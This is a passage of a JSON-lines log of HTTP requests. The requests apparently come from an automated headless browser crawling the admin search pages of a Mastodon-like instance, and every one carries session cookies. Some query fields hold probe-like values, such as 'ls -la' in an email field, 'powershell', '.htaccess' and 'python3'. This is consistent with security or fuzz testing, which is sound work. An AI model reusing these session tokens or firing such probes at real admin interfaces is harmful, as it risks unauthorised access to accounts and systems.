_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDcuMDg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b57def8fb2cbcda1094071ffca75c92d594a8143; _mastodon_session=jCvNig51jRYcPdFycizHSJU2j2xPOf5eIcaTgmcMggeLgRtVV35HLRiV%2Bgp2v9RrkKSdKFU2YW%2Fvol0iiNkKXlSTNVikMQ1aqgpHsFp9u36TlQ7nTMdyNCF9tZQuaLStCNlZY529TUm6BidXbIHzkxqs69jwfvIxiKXED4UX4vygCQzneMw%2BihSfR0OHnrmYR1LskBQVLmrerk8Xi2MKTN5wJYlK4My%2F5JHjWGSEXmS%2FLPVq2CXcjN0f80AKg55FQEoekpgYsPqUIK%2BLlFYIuRB2eDh8Sustyg%2FCID0UULx1BxJeJ36OKVb1r9gPrsHzqSwO5R6WmzIRVGcWytCbtWJ3jdF5tRjjrcmPDGnaLYHgJImO0XSzChs9eMfh%2BA6TIPYiQmYiVjzt--rlkc4UdDJScH3PCb--wQ5cFIgkqaejc35lfYn7lQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/axios-0On1V31i.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts?origin=local&status=active&username=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDkuOTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28817c8cccecab54ff3dd0ca359489e9721023de; _mastodon_session=UUkQGiOmzI2wyKEIFqFrnJSuvIWAx78iv6%2F%2B%2F6tFm%2FOn8sGeOTgTbNb5b0FO4HA3KblOcoxahifcm2sA5C4p2RA1n8aGGqU3pPVqIgqdLmPloNJ6c4Z1O%2BWBZ6nwm1WLKxsOZvD3%2BtPCxRUrwODm1BC1RXwYoHoiWstDE%2B5F27ShMVeJKL5SVG5ft34z8LwVtBj9sB3qIW93f3aJYiJgYgZRK%2BVSNx8Ch%2BeP2fHtmVTP8o4MjZevSaepcoK8af4QNQFz1mKehSXTiHy7oaxWrb6qWLT4vsT%2FMuv4S9dFnr39xQv3z0w%2B8uC1fFtiGJKLeAG%2FqlxrgnIv9bmXRUlYoVuzgFEDPzvTh1jIM5caR15%2FrfqfzitiaEw8Skt2E1WZlJpcpkxdFeV0--LnzBsGuJl8j%2FX23E--QPByYqL93VBeBxZhDIMO%2FQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/accounts?display_name=powershell&email=ls%20-la&ip=192.0.2.1", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDkuOTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28817c8cccecab54ff3dd0ca359489e9721023de; _mastodon_session=UUkQGiOmzI2wyKEIFqFrnJSuvIWAx78iv6%2F%2B%2F6tFm%2FOn8sGeOTgTbNb5b0FO4HA3KblOcoxahifcm2sA5C4p2RA1n8aGGqU3pPVqIgqdLmPloNJ6c4Z1O%2BWBZ6nwm1WLKxsOZvD3%2BtPCxRUrwODm1BC1RXwYoHoiWstDE%2B5F27ShMVeJKL5SVG5ft34z8LwVtBj9sB3qIW93f3aJYiJgYgZRK%2BVSNx8Ch%2BeP2fHtmVTP8o4MjZevSaepcoK8af4QNQFz1mKehSXTiHy7oaxWrb6qWLT4vsT%2FMuv4S9dFnr39xQv3z0w%2B8uC1fFtiGJKLeAG%2FqlxrgnIv9bmXRUlYoVuzgFEDPzvTh1jIM5caR15%2FrfqfzitiaEw8Skt2E1WZlJpcpkxdFeV0--LnzBsGuJl8j%2FX23E--QPByYqL93VBeBxZhDIMO%2FQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/accounts?username=.htaccess&by_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTIuNzUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f3165159685a81238dab7e25fd566b1319792fee; _mastodon_session=3JEfYokBtI4wUHoWNEpBsjanaId7O6uHT6YjeDUWRAev1A9RrJ9RKGXOH64TEsd2c0%2F960Y7yobJE6Xtq5k2iotd38em68%2Fq3ho06pnAJi6w1idUi%2BTlIs4SvhOpkkJjCLAE%2F2Re1r5MIRJV7LBx7tgC9RayhCI92ISSkI3lxaFfU3%2FfWbecprcjq2VTSbGrlrPLA4H7A2P3km%2FCXdRbR06aJS%2FOsIyxnHysthULLyzCJI0OCm1%2Bk3NGAKRJb2eewAwZ3NQTLXCUKwAXienlF2DPh%2F8k6r66oJP9MW96phGBuRNANbAB%2F7V6p6fw4nVfx21tYjCwbFMPhwZqpgsHyQ27Ik0EExTzOle9S6bQEY7kYylg386Wx6m06ri3CdfjVdsah11%2FcirM--BTxolyS%2BRxMBSqlB--1VsNDdtd8jmhz9Iw%2BYm%2FhQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/locale-D-1rLaCQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts?username=.htaccess&by_domain=remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b8c4a3a7fa5365f5fc33f5bbba66423def977d22; _mastodon_session=EogjCQ5IfKpW5NvCpt35ub0nui9mSl6DV5hCyXcdSDN1F%2BHJ6dCa%2F%2FtLi%2Fb4cCHF0mrbu6nvIchV1xF9XModmKn2WBJaDrCsFPSIIHBG5EwFzRNytAxNgQktRmAriRhY4oU9naCUte6rjGeMkK%2BNAyL7XT1XyazuLJCXCaMR92Xkdg4yW5K7RsD9SrCjGnKUE3m6wYuTX6aQCuwxGCgwAMRdH8%2BENb5d449Fp2yYruol%2BB7LOmNAlGhgSrZksts0rz01fR2bf0dPlqY1%2F2wCCVCfh2ZNWmk6vpb%2BYLwtmGNQTZHtzoHGpLWgF7xG1iDQo4BxXP%2BobhXsO94NXFWwU9w%2FFjvYZPYvx4xhOMxWb3xJv3gTDUMYSplvRtNHmE5BQ%2Bim2bNvE8BM--gNZoV5JsN2IgVHa8--%2FfAwncRWoQtV14Q7s4DtAQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/instances?by_domain=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b8c4a3a7fa5365f5fc33f5bbba66423def977d22; _mastodon_session=EogjCQ5IfKpW5NvCpt35ub0nui9mSl6DV5hCyXcdSDN1F%2BHJ6dCa%2F%2FtLi%2Fb4cCHF0mrbu6nvIchV1xF9XModmKn2WBJaDrCsFPSIIHBG5EwFzRNytAxNgQktRmAriRhY4oU9naCUte6rjGeMkK%2BNAyL7XT1XyazuLJCXCaMR92Xkdg4yW5K7RsD9SrCjGnKUE3m6wYuTX6aQCuwxGCgwAMRdH8%2BENb5d449Fp2yYruol%2BB7LOmNAlGhgSrZksts0rz01fR2bf0dPlqY1%2F2wCCVCfh2ZNWmk6vpb%2BYLwtmGNQTZHtzoHGpLWgF7xG1iDQo4BxXP%2BobhXsO94NXFWwU9w%2FFjvYZPYvx4xhOMxWb3xJv3gTDUMYSplvRtNHmE5BQ%2Bim2bNvE8BM--gNZoV5JsN2IgVHa8--%2FfAwncRWoQtV14Q7s4DtAQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/typed_functions-Whap35TF.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/instances?by_domain=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTguNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9b4495f142e6d2ee89d949184d854abfb09e3923; _mastodon_session=F0mpcYjHgTeplRWB1bhnVZFnlJjzxictFHSfVp3PLrWxB00cS9bTtUiQrRc%2BOhOmg6H4KGznuJKs3wuG1qILIfn715rmro7sjiVbOduiEX5WwI6OU%2FV1aALGZYdBPlGAT53WzoCE0at1uzHBoWHzMkZmhZEd4SNfhvozO1D4k1IbDww8kBf88A6g2Gj6z2MKYcXOMkGTR6%2FarBFZ36cEGCKr3%2BWgUpE6i4oKqfScT94bFFbsB13crO45es2jibHh0sspH2ArfME1CVSQmFDTqaBxM4t%2FXJ%2BFwuuDdrFswDur8%2FCzx05RCBub31zAj583goREm%2BmoHLBdx%2FAiAjeDXy2tcGYgVOGB0IvQG1ZUm6tmR%2B2UQXA2%2FkC%2FQkq67A2bFCxmYNqhums1--EMZbk7l6%2Fyc8Wg04--DSoFa%2Fhz7mIpO2bwpONmVA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/instances", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTguNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9b4495f142e6d2ee89d949184d854abfb09e3923; _mastodon_session=F0mpcYjHgTeplRWB1bhnVZFnlJjzxictFHSfVp3PLrWxB00cS9bTtUiQrRc%2BOhOmg6H4KGznuJKs3wuG1qILIfn715rmro7sjiVbOduiEX5WwI6OU%2FV1aALGZYdBPlGAT53WzoCE0at1uzHBoWHzMkZmhZEd4SNfhvozO1D4k1IbDww8kBf88A6g2Gj6z2MKYcXOMkGTR6%2FarBFZ36cEGCKr3%2BWgUpE6i4oKqfScT94bFFbsB13crO45es2jibHh0sspH2ArfME1CVSQmFDTqaBxM4t%2FXJ%2BFwuuDdrFswDur8%2FCzx05RCBub31zAj583goREm%2BmoHLBdx%2FAiAjeDXy2tcGYgVOGB0IvQG1ZUm6tmR%2B2UQXA2%2FkC%2FQkq67A2bFCxmYNqhums1--EMZbk7l6%2Fyc8Wg04--DSoFa%2Fhz7mIpO2bwpONmVA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/api-CGawW2vu.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/instances", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDEuMzg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--80dce4e171b80ce0507000078d7bc66401dabb04; _mastodon_session=5uG1%2FMG520iXcXH7Q5NxmggpV%2FrIvaJLd%2BlVMdaI7q%2BlyopPOofRW1rzrqjiYJKoUMuNqrtrFNUOV1NTXSXrnsyEtVAfqOjLkNYCTFV05MZJvQzWXu1lJhm2GSwB67wJADula3AUF6J4BMI7gjY9o8%2BXiwsXETCAC3x%2Bftrk9fuMUPMu8c55gTHok1TpAVoD%2FD3ZzWUScq0wX3gfLMTAB4%2FkN%2BdX6kR2GTTJfHhCHevZSO%2FGlRzD96gO%2FNslrEPZQLqiAMTJ1L7p0lUIz0dCwnVq8lHIHpKVzyOGOdH15nQyL3OBSQhvr3fn2f5sSH8x%2BME26MKQyzTZqfdz46OtbKQ%2FSNBCfbi4cpiCFvvFMHBcIUVjYzgDnP9aE%2Bnbsq3atNy11LaTtq6%2F--MENt58uSSDDDCnVi--ZeYYKBPCfpR0hrM4nda5fA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/custom_emojis?shortcode=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDEuMzg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--80dce4e171b80ce0507000078d7bc66401dabb04; _mastodon_session=5uG1%2FMG520iXcXH7Q5NxmggpV%2FrIvaJLd%2BlVMdaI7q%2BlyopPOofRW1rzrqjiYJKoUMuNqrtrFNUOV1NTXSXrnsyEtVAfqOjLkNYCTFV05MZJvQzWXu1lJhm2GSwB67wJADula3AUF6J4BMI7gjY9o8%2BXiwsXETCAC3x%2Bftrk9fuMUPMu8c55gTHok1TpAVoD%2FD3ZzWUScq0wX3gfLMTAB4%2FkN%2BdX6kR2GTTJfHhCHevZSO%2FGlRzD96gO%2FNslrEPZQLqiAMTJ1L7p0lUIz0dCwnVq8lHIHpKVzyOGOdH15nQyL3OBSQhvr3fn2f5sSH8x%2BME26MKQyzTZqfdz46OtbKQ%2FSNBCfbi4cpiCFvvFMHBcIUVjYzgDnP9aE%2Bnbsq3atNy11LaTtq6%2F--MENt58uSSDDDCnVi--ZeYYKBPCfpR0hrM4nda5fA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/isSymbol-3r8dk6Lb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/custom_emojis?shortcode=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDQuMjM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5b201424771bcf4e883698520656bfcbf6c5f6d8; _mastodon_session=2ADdSofy1HIJOkaQYz2Cl7dzVcFAkWzm3cHp9QAoi%2F%2F%2B9P%2Be7nFUm0OZuZFiTrImoApvI6g7xdE6nTdxWT7%2BeAKgA%2BeitPaop1nGT2hDSUdtagj0j%2FpLH18ySaLcSGRXOxgSoAT%2FzCLUgv9n5IEZ4a6o%2Be8iVGrQ5TREP9GZiGDFZ7J7n1DBTNduUB5vtpHiatA6uQ5eT6GBYW1OFq5cZ7Bd6aKfrx%2B5SoEQ3M%2F%2B%2FLWkj8enjDG4Cpk09XPENyGSV83IsoTphnjuK0VbOFE4CJ2%2Bdd%2BKdPhVGde%2Bp0o%2BMz2GQ3bkQgurZuaO0PGzOp%2BEdQAUIXo6ui2f9Pvmf3R5b2RCn4hU51h0tw2TpPbAZUISYixRuPZ%2BoJ0TGO4m%2BdyJ7hrSfbTT%2BZUh--b6IyTX1QZVYMllHq--Ly4ZAZAWf8I5kahy7IALdA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/custom_emojis?by_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDQuMjM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5b201424771bcf4e883698520656bfcbf6c5f6d8; _mastodon_session=2ADdSofy1HIJOkaQYz2Cl7dzVcFAkWzm3cHp9QAoi%2F%2F%2B9P%2Be7nFUm0OZuZFiTrImoApvI6g7xdE6nTdxWT7%2BeAKgA%2BeitPaop1nGT2hDSUdtagj0j%2FpLH18ySaLcSGRXOxgSoAT%2FzCLUgv9n5IEZ4a6o%2Be8iVGrQ5TREP9GZiGDFZ7J7n1DBTNduUB5vtpHiatA6uQ5eT6GBYW1OFq5cZ7Bd6aKfrx%2B5SoEQ3M%2F%2B%2FLWkj8enjDG4Cpk09XPENyGSV83IsoTphnjuK0VbOFE4CJ2%2Bdd%2BKdPhVGde%2Bp0o%2BMz2GQ3bkQgurZuaO0PGzOp%2BEdQAUIXo6ui2f9Pvmf3R5b2RCn4hU51h0tw2TpPbAZUISYixRuPZ%2BoJ0TGO4m%2BdyJ7hrSfbTT%2BZUh--b6IyTX1QZVYMllHq--Ly4ZAZAWf8I5kahy7IALdA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDcuMDk2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--86b084613ac132781b44303783eaa7301e7b20d8; _mastodon_session=F3ZYT%2BRSEL%2BSI6b8TyxkZknCePdBmJUKk%2Fv80NTQmR2XBT%2BcVwbPFnjDXIcnA5CBLXDbYNAUaZfBSYKte39SkKnGQGZUalS9iQnUU0j4PhGPhiLThmj%2Fnr1pZVilzV4iTXkiHnjlQ7aJWi1jr%2BWC7jsjaU%2Fuc0Uc4licwQoHYliZso4m5DPmXy9a1Jl7X33CrFVqI7Up%2BbdWSiQ1WK13ZpEsWlQ40h80X59bnlAkFEWnu%2BOqZ0OrWzCGGIAIXwQwNU2InHvdqKkFUTwUlXs6ozoe6R2PLMqhM0H2mzfmjmxHYNSU9X5%2FViy57BcBhxEZu69TjCKbXYyDeJqwK7daZe3aNuwB9kEj2EV6mKM064FF32S%2FE%2Fr6DQ48qutUH59YtMYahpr3rjxX--2kufuOWh92yTTykp--FA9erEuFBkcLi4XwjQvveQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/preload-helper-HclGiUj8.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDkuOTIxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--02fd1120fad0c0d6068175ab96f5c42cb80999e0; _mastodon_session=fdmBJUzDykZ9vuxDaKs6CtpGzmM19KdW0sGqKgkU93OM%2F2XguQRvNiIkoLmzMTAVW8l7TG%2Bu5t30HLyIWv%2FTb6d89RZYO4%2FR97VquoMBPeOy92Y3U0apd3ToRB2AP1fkrZ0omKCOoCfv%2BmWQ1Hw2SfQj6%2Fb38Xj3ETl06m1AqPkcPi6Psj4N6XE29N%2BkE5vYWcQaOvYhSlSBFUT5Wu8J4oC7lAmrqQMVHzQ0JUFnFgvn04NUY3kdGeA2gBApgnSmrkm0rnVoKTOIS1ilHXh%2FwCqsU85ktEyNZe5M3rSZGPb9Pr57tjJPKjBY0K46fK2P6HLdM0jsUfpGLtSK5I0koNoxMNCVBdnJMtCbMUJ7wlvokFqMRZwn7PTwk87ap0yAQl117MhUGpSX--myBsRu193ek%2B4Iyt--T2NQcxyk%2B8XFFQN%2BPx45PQ%3D%3D"], "body": ""}
